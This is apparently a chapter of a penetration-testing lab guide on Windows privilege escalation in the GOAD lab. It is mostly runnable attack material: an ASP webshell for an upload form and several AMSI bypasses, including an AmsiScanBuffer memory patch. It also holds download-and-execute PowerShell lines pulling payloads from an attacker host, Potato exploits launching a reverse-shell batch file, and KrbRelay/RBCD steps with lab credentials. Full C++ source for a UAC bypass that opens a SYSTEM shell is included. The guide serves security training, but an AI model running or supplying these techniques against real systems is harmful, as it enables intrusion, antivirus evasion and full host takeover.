7
Privilege Escalation
If you browse to http://192.168.10.22/
you will find a simple asp.net application with some simple file upload functionality for us to demonstrate some attacks on.
Attacking IIS
We should try and uplod a simple webshell to the target to see if we can exploit this upload feature.
<%
Function getResult(theParam)
Dim objSh, objResult
Set objSh = CreateObject("WScript.Shell")
Set objResult = objSh.exec(theParam)
getResult = objResult.StdOut.ReadAll
end Function
%>
<HTML>
<BODY>
Enter command:
<FORM action="" method="POST">
<input type="text" name="param" size=45 value="<%= myValue %>">
<input type="submit" value="Run">
</FORM>
<p>
Result :
<%
myValue = request("param")
thisDir = getResult("cmd /c" & myValue)
Response.Write(thisDir)
%>
</p>
<br>
</BODY>
</HTML>
If we navigate to the /upload/webshell.asp
path we can interact with our webshell.
Running whoami in our command input box shows that we can successfully execute commands.
Whoami /all shows that out user has some interesting privleges that we can attempt to use for priviledge escalation once we get a shell.
Lets use our python program to see if we can obtain a reverse shell on the server via our minimal webshell.
We can start a listener and then execute this command into our webshell to try and get a reverse shell.
Privesc
Now that we have established a shell on the server, we need to escalate our privileges.
Bypassing AMSI
There are plenty of ways to bypass the Windows Defender Anti-Malware Scan Interface. Some publicly released methods are located here & on amsi.fail
Another novel technique that is working at the time of writing can be found here. For ease, we will just apply some light modifications to one of the more popular public bypasses.
[Runtime.InteropServices.Marshal]::WriteInt32([Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiContext',[Reflection.BindingFlags]'NonPublic,Static').GetValue($null),0x41414141)
$x=[Ref].Assembly.GetType('System.Management.Automation.Am'+'siUt'+'ils');$y=$x.GetField('am'+'siCon'+'text',[Reflection.BindingFlags]'NonPublic,Static');$z=$y.GetValue($null);[Runtime.InteropServices.Marshal]::WriteInt32($z,0x41424344)
# Patching amsi.dll AmsiScanBuffer by rasta-mouse
$Win32 = @"
using System;
using System.Runtime.InteropServices;
public class Win32 {
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@
Add-Type $Win32
$LoadLibrary = [Win32]::LoadLibrary("amsi.dll")
$Address = [Win32]::GetProcAddress($LoadLibrary, "AmsiScanBuffer")
$p = 0
[Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p)
$Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, 6)
(new-object system.net.webclient).downloadstring('http://10.10.10.6:8080/rastabypass.txt')|IEX
True
output tells us that everything worked as planned.
This will free us up to run tooling that would normally be flagged and killed by AV.
WinPeas FTW!
Probably the best tool out there right now for finding privilege escalation vectors on Windows is Carlos Polop's WinPeas. (He taught a free training workshop at Hack Space Con 23 on this amazing tool.)
We can run the WinPeas .NET assembly completely in memory, due to our bypass. So let's demonstrate how to do that here.
First we need to grab the latest release and add it to our python webserver.
Next we will use PowerShell to reflectively load our .NET assembly into memory on the target.$data=(New-Object System.Net.WebClient).DownloadData('http://10.10.10.6:8080/winPEASany_ofs.exe');
$asm = [System.Reflection.Assembly]::Load([byte[]]$data);
$out = [Console]::Out;$sWriter = New-Object IO.StringWriter;[Console]::SetOut($sWriter);
[winPEAS.Program]::Main("");[Console]::SetOut($out);$sWriter.ToString()
WinPeas will take a while to run and then will display a metric ton of valuable information for us as well as color coding potential privesc pathways.
Amongst several other escalation opportunities, it caught the SeImpersonatePrivilege
of our current user that we alluded to during our initial webshell.
@Sh1tS3cur3 came up with a quicker and perhaps easier method for running .NET via powershell in his PowerSharpPack project.
Using this method is as simple as
iex(new-object net.webclient).downloadString('http://10.10.10.6:8080/PowerSharpPack/PowerSharpPack.ps1')
PowerSharpPack -winPEAS
The creator of the GOAD project has a powershell script called EncodeAssembly that combines a couple of techniques and allows us to our own custom compiled binaries in the same way. We would have to follow the methodologys outlined in this blog posting and make some modifications to our source code and modify the Program
class's and Main
method accessibility level to public prior to complilation. Also, avoid environment.exit()
in your code. We will leave this as an exercise for the reader, but it is an excellent technique.
. .\EncodeAssembly.ps1
Invoke-EncodeAssembly -binaryPath winPEAS.exe -namespace winPEAS -capture $true
SeImpersonatePrivilege Escalation
With this privilege assigned to our current user, we can attempt to use one of the "Potato" family's exploit code. We will use a newer varient called SweetPotato for simplicity's sake you can grab from SharpCollection. This is an incredible repo of Nightly builds of commonly used .NET offsec tools and is maintained by Flangvik, who also authored amsi.fail.
wget https://github.com/Flangvik/SharpCollection/blob/master/NetFramework_4.5_Any/SweetPotato.exe
echo "@echo off" > runme.bat
echo "start /b $(python3 ps-revshell-encoded.py 10.10.10.6 4445)" >> runme.bat
echo "exit /b" >> runme.bat
We can add our malicious bat file to our python server and start a second listener on port 4445
From within our current reverse shell session we will download our bat file along with the SweetPotato exploit to the server and run itmkdir c:\temp
(new-object system.net.webclient).DownloadFile('http://10.10.10.6:8080/runme.bat', 'c:\temp\runme.bat')
(new-object system.net.webclient).DownloadFile('http://10.10.10.6:8080/SweetPotato.exe', 'c:\temp\SweetPotato.exe')
.\SweetPotato.exe -p runme.bat
# download sweet potato and compile with Visual Studio after making necessary modifications to source
mkdir c:\temp
(new-object system.net.webclient).DownloadFile('http://10.10.10.6:8080/runme.bat', 'c:\temp\runme.bat')
$data=(New-Object System.Net.WebClient).DownloadData('http://10.10.10.6:8080/SweetPotato.exe');
$asm = [System.Reflection.Assembly]::Load([byte[]]$data);
$out = [Console]::Out;$sWriter = New-Object IO.StringWriter;[Console]::SetOut($sWriter);
[SweetPotato.Program]::Main(@('-p=C:\temp\runme.bat'));[Console]::SetOut($out);$sWriter.ToString()
If you have troubles with editing and compiling the source code you can use the PowerSharpPack implementation called BadPotato after bypassing AMSI.
# amsi bypass
$x=[Ref].Assembly.GetType('System.Management.Automation.Am'+'siUt'+'ils');$y=$x.GetField('am'+'siCon'+'text',[Reflection.BindingFlags]'NonPublic,Static');$z=$y.GetValue($null);[Runtime.InteropServices.Marshal]::WriteInt32($z,0x41424344)
iex(new-object system.net.webclient).downloadstring('http://10.10.10.1:8080/rastabypass.txt')
iex(new-object net.webclient).downloadstring('http://10.10.10.6:8080/PowerSharpPack/PowerSharpBinaries/Invoke-BadPotato.ps1')
Invoke-BadPotato -Command "c:\temp\runme.bat"
KrbRelay
KrbRelayUp Is a great tool that performs Kerberos relaying to LDAP and leverages Resource Based Constrained Delegation to get a service ticket to the local machine, authenticate to the local service manager and run a new service as system. Recent updates have added ADCS and ShadowCredential attacks to its feature set. The tool automates the more Manual approach of the attack. It will get detected by AV so lets try and go the manual root with the original KrbRelay exploit which we will clone and build in Visual Studio, and then transfer from our kali machine to the target.
In order to exploit this we need to ensure that LDAP signing isn't enforced. We already know this to be the case from the chapter on poisoning and relays but lets assume for a second that we don't.
cme ldap 192.168.10.10-12 -u jon.snow -p iknownothing -d north.sevenkingdoms.local -M ldap-checker
creating a computer
Ok so the first requirement is met. Because this attack leverages RBCD, we need to ensure that the Machine Account Quota is set to allow us to add a computer.
The MAQ is set to 10 (which by the way, is the default Active Directory setting for some crazy reason) so we can attempt to add a computer.
addcomputer.py -computer-name 'krbrelay$' -computer-pass 'ComputerPassword' -dc-host winterfell.north.sevenkingdoms.local -domain-netbios NORTH 'north.sevenkingdoms.local/jon.snow:iknownothing'
Next we need to get the SID of our newly created computer. If we already have a windows foothold we can do this with powershell.
# with ADModule
Get-ADComputer krbrelay -prop sid
# with ADSI as jon.snow
$o = ([ADSI]"LDAP://CN=krbrelay,CN=Computers,DC=north,DC=sevenkingdoms,DC=local").objectSID
(New-Object System.Security.Principal.SecurityIdentifier($o.value, 0)).Value
Or since we are hackers, with Linux by using LDAP quieries remotely. There are tons of different tools to interact with LDAP via Linux.
python3 windapsearch.py -d north.sevenkingdoms.local -u jon.snow@north.sevenkingdoms.local -p iknownothing -C --full | grep -20 'krbrelay'
Now we have the base64 encoded SID for our newly created computer, but we need to translate this into the windows S-1-5... SID format so we can pass it to other tooling. I found this script on stackoverflow that works wonderfully for this. We just have to change the OBJECT_ID parameter to whatever the ldap search tells us is the base64 version of our SID.
#!/bin/bash
# Base-64 encoded objectSid
OBJECT_ID="AQUAAAAAAAUVAAAAA14AzgOffNRlGAI0RQYAAA=="
# Decode it, hex-dump it and store it in an array
G=($(echo -n $OBJECT_ID | base64 -d -i | hexdump -v -e '1/1 " %02X"'))
# SID in HEX
# SID_HEX=${G[0]}-${G[1]}-${G[2]}${G[3]}${G[4]}${G[5]}${G[6]}${G[7]}-${G[8]}${G[9]}${G[10]}${G[11]}-${G[12]}${G[13]}${G[14]}${G[15]}-${G[16]}${G[17]}${G[18]}${G[19]}-${G[20]}${G[21]}${G[22]}${G[23]}-${G[24]}${G[25]}${G[26]}${G[27]}${G[28]}
# SID Structure: https://technet.microsoft.com/en-us/library/cc962011.aspx
# LESA = Little Endian Sub Authority
# BESA = Big Endian Sub Authority
# LERID = Little Endian Relative ID
# BERID = Big Endian Relative ID
BESA2=${G[8]}${G[9]}${G[10]}${G[11]}
BESA3=${G[12]}${G[13]}${G[14]}${G[15]}
BESA4=${G[16]}${G[17]}${G[18]}${G[19]}
BESA5=${G[20]}${G[21]}${G[22]}${G[23]}
BERID=${G[24]}${G[25]}${G[26]}${G[27]}${G[28]}
LESA1=${G[2]}${G[3]}${G[4]}${G[5]}${G[6]}${G[7]}
LESA2=${BESA2:6:2}${BESA2:4:2}${BESA2:2:2}${BESA2:0:2}
LESA3=${BESA3:6:2}${BESA3:4:2}${BESA3:2:2}${BESA3:0:2}
LESA4=${BESA4:6:2}${BESA4:4:2}${BESA4:2:2}${BESA4:0:2}
LESA5=${BESA5:6:2}${BESA5:4:2}${BESA5:2:2}${BESA5:0:2}
LERID=${BERID:6:2}${BERID:4:2}${BERID:2:2}${BERID:0:2}
LE_SID_HEX=${LESA1}-${LESA2}-${LESA3}-${LESA4}-${LESA5}-${LERID}
# Initial SID value which is used to construct actual SID
SID="S-1"
# Convert LE_SID_HEX to decimal values and append it to SID as a string
IFS='-' read -ra ADDR <<< "${LE_SID_HEX}"
for OBJECT in "${ADDR[@]}"; do
SID=${SID}-$((16#${OBJECT}))
done
echo ${SID}
krbrelay on castelblack
Now lets rdp into castelblack as jon.snow, transfer the tools and attempt the attack. We need to run the CheckPort executable to find out what port SYSTEM is allowed through on the server.
Lastly, we need to compile SCMUACBypass.cpp to pop a System Shell by patching the Win32 API in Service Control Manager for using Kerberos tickets in local authentication.
// This modifies the authentication to the local SCM to use Kerberos to abuse
// a UAC bypass through Kerberos tickets.
// See https://www.tiraniddo.dev/2022/03/bypassing-uac-in-most-complex-way.html
/* COMPILE USING Visual Studio DEVELOPER command prompt!!!!
cl -DUNICODE SCHMUACBypass.cpp advapi32.lib
*/
#define SECURITY_WIN32
#include <windows.h>
#include <sspi.h>
#include <security.h>
#include <stdio.h>
#include <string>
#include <strsafe.h>
#pragma comment(lib, "Secur32.lib")
static std::wstring spn;
SECURITY_STATUS SEC_ENTRY AcquireCredentialsHandleWHook(
_In_opt_ LPWSTR pszPrincipal, // Name of principal
_In_ LPWSTR pszPackage, // Name of package
_In_ unsigned long fCredentialUse, // Flags indicating use
_In_opt_ void* pvLogonId, // Pointer to logon ID
_In_opt_ void* pAuthData, // Package specific data
_In_opt_ SEC_GET_KEY_FN pGetKeyFn, // Pointer to GetKey() func
_In_opt_ void* pvGetKeyArgument, // Value to pass to GetKey()
_Out_ PCredHandle phCredential, // (out) Cred Handle
_Out_opt_ PTimeStamp ptsExpiry // (out) Lifetime (optional)
)
{
WCHAR kerberos_package[] = MICROSOFT_KERBEROS_NAME_W;
printf("AcquireCredentialsHandleHook called for package %ls\n", pszPackage);
if (_wcsicmp(pszPackage, L"Negotiate") == 0) {
pszPackage = kerberos_package;
printf("Changing to %ls package\n", pszPackage);
}
return AcquireCredentialsHandleW(pszPrincipal, pszPackage, fCredentialUse,
pvLogonId, pAuthData, pGetKeyFn, pvGetKeyArgument, phCredential, ptsExpiry);
}
SECURITY_STATUS SEC_ENTRY InitializeSecurityContextWHook(
_In_opt_ PCredHandle phCredential, // Cred to base context
_In_opt_ PCtxtHandle phContext, // Existing context (OPT)
_In_opt_ SEC_WCHAR* pszTargetName, // Name of target
_In_ unsigned long fContextReq, // Context Requirements
_In_ unsigned long Reserved1, // Reserved, MBZ
_In_ unsigned long TargetDataRep, // Data rep of target
_In_opt_ PSecBufferDesc pInput, // Input Buffers
_In_ unsigned long Reserved2, // Reserved, MBZ
_Inout_opt_ PCtxtHandle phNewContext, // (out) New Context handle
_Inout_opt_ PSecBufferDesc pOutput, // (inout) Output Buffers
_Out_ unsigned long* pfContextAttr, // (out) Context attrs
_Out_opt_ PTimeStamp ptsExpiry // (out) Life span (OPT)
)
{
// Change the SPN to match with the UAC bypass ticket you've registered.
printf("InitializeSecurityContext called for target %ls\n", pszTargetName);
SECURITY_STATUS status = InitializeSecurityContextW(phCredential, phContext, &spn[0],
fContextReq, Reserved1, TargetDataRep, pInput,
Reserved2, phNewContext, pOutput, pfContextAttr, ptsExpiry);
printf("InitializeSecurityContext status = %08X\n", status);
return status;
}
int RunSystemProcess(const wchar_t* sid)
{
HANDLE hToken;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_DUPLICATE, &hToken))
{
printf("Error opening process token %d\n", GetLastError());
return 1;
}
HANDLE hPrimaryToken;
if (!DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, nullptr, SecurityAnonymous, TokenPrimary, &hPrimaryToken))
{
printf("Error duplicating process token %d\n", GetLastError());
return 1;
}
DWORD session_id = wcstoul(sid, nullptr, 0);
if (!SetTokenInformation(hPrimaryToken, TokenSessionId, &session_id, sizeof(session_id)))
{
printf("Error setting session ID %d\n", GetLastError());
return 1;
}
STARTUPINFO start_info = {};
WCHAR desktop[] = L"WinSta0\\Default";
start_info.cb = sizeof(start_info);
start_info.lpDesktop = desktop;
start_info.wShowWindow = SW_SHOW;
WCHAR cmdline[] = L"cmd.exe";
PROCESS_INFORMATION proc_info = {};
if (!CreateProcessAsUser(hPrimaryToken, nullptr, cmdline, nullptr, nullptr, FALSE,
CREATE_NEW_CONSOLE, nullptr, nullptr, &start_info, &proc_info))
{
printf("Error creating process %d\n", GetLastError());
return 1;
}
CloseHandle(proc_info.hProcess);
CloseHandle(proc_info.hThread);
printf("Created process ID %d\n", proc_info.dwProcessId);
return 0;
}
std::wstring GetExecutablePath()
{
WCHAR path[MAX_PATH];
if (GetModuleFileName(nullptr, path, MAX_PATH) != 0)
{
return path;
}
printf("Error getting executable path %d\n", GetLastError());
return L"";
}
int wmain(int argc, wchar_t** argv)
{
if (argc > 1)
{
return RunSystemProcess(argv[1]);
}
PSecurityFunctionTableW table = InitSecurityInterfaceW();
table->AcquireCredentialsHandleW = AcquireCredentialsHandleWHook;
table->InitializeSecurityContextW = InitializeSecurityContextWHook;
WCHAR computer_name[1000];
DWORD size = _countof(computer_name);
if (!GetComputerName(computer_name, &size))
{
printf("Error getting computer name %d\n", GetLastError());
return 1;
}
spn = L"HOST/";
spn += computer_name;
std::wstring exe = GetExecutablePath();
if (exe.empty())
{
return 1;
}
DWORD session_id = 0;
ProcessIdToSessionId(GetCurrentProcessId(), &session_id);
WCHAR cmdline[MAX_PATH];
StringCbPrintf(cmdline, sizeof(cmdline), L"\"%ls\" %d\n", exe.c_str(), session_id);
SC_HANDLE hScm = OpenSCManagerW(L"127.0.0.1", nullptr, SC_MANAGER_CONNECT | SC_MANAGER_CREATE_SERVICE);
if (!hScm)
{
printf("Error opening SCM %d\n", GetLastError());
return 1;
}
SC_HANDLE hService = CreateService(hScm, L"UACBypassedService", nullptr, SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,
SERVICE_DEMAND_START, SERVICE_ERROR_IGNORE, cmdline, nullptr, nullptr, nullptr, nullptr, nullptr);
if (!hService)
{
printf("Error creating service %d\n", GetLastError());
return 1;
}
if (!StartService(hService, 0, nullptr))
{
printf("Error starting service %d\n", GetLastError());
return 1;
}
return 0;
}
After transfering all our binaries, we can launch krbrelay applying the SPN we want, CLSID for our target architecture, the SID we calculated for our newly created machine and the port we just identified.
.\KrbRelay.exe -spn ldap/winterfell.north.sevenkingdoms.local -clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8 -rbcd S-1-5-21-3456130563-3564936963-872552549-1605 -port 10
$x=[Ref].Assembly.GetType('System.Management.Automation.Am'+'siUt'+'ils');$y=$x.GetField('am'+'siCon'+'text',[Reflection.BindingFlags]'NonPublic,Static');$z=$y.GetValue($null);[Runtime.InteropServices.Marshal]::WriteInt32($z,0x41424344)
iex(new-object system.net.webclient).downloadstring('http://10.10.10.6:8080/amsi_rmouse.txt')
iex(new-object net.webclient).downloadstring('http://10.10.10.6:8080/PowerSharpPack/PowerSharpPack.ps1')
PowerSharpPack -rubeus -Command "hash /password:ComputerPassword"
PowerSharpPack -rubeus -Command "s4u /user:krbrelay$ /rc4:0EDDEDC35EB7B7ECDE0C9F0564E54C83 /impersonateuser:administrator /msdsspn:host/castelblack /ptt"
Remotely, from Linux we could use impacket to perform the RBCD portion as well.
getTGT.py -dc-ip 'winterfell.north.sevenkingdoms.local' 'north.sevenkingdoms.local'/'krbrelay$':'ComputerPassword'
export KRB5CCNAME=./krbrelay\$.ccache
getST.py -impersonate 'administrator' -spn 'CIFS/castelblack.north.sevenkingdoms.local' -k -no-pass -dc-ip 'winterfell.north.sevenkingdoms.local' 'north.sevenkingdoms.local'/'krbrelay$'
export KRB5CCNAME=/workspace/administrator@CIFS_castelblack.north.sevenkingdoms.local@NORTH.SEVENKINGDOMS.LOCAL.ccache
wmiexec.py -k @castelblack.north.sevenkingdoms.local
Required reading on these attack primitives:
- https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell
- https://s3cur3th1ssh1t.github.io/Powershell-and-the-.NET-AMSI-Interface/
- https://github.com/S3cur3Th1sSh1t/PowerSharpPack
- https://jlajara.gitlab.io/Potatoes_Windows_Privesc
- https://ppn.snovvcrash.rocks/pentest/infrastructure/ad/av-edr-evasion/dotnet-reflective-assembly
- https://gist.github.com/tothi/bf6c59d6de5d0c9710f23dae5750c4b9
- https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/
- https://googleprojectzero.blogspot.com/2021/10/windows-exploitation-tricks-relaying.html
- https://github.com/Dec0ne/KrbRelayUp
- https://github.com/cube0x0/KrbRelay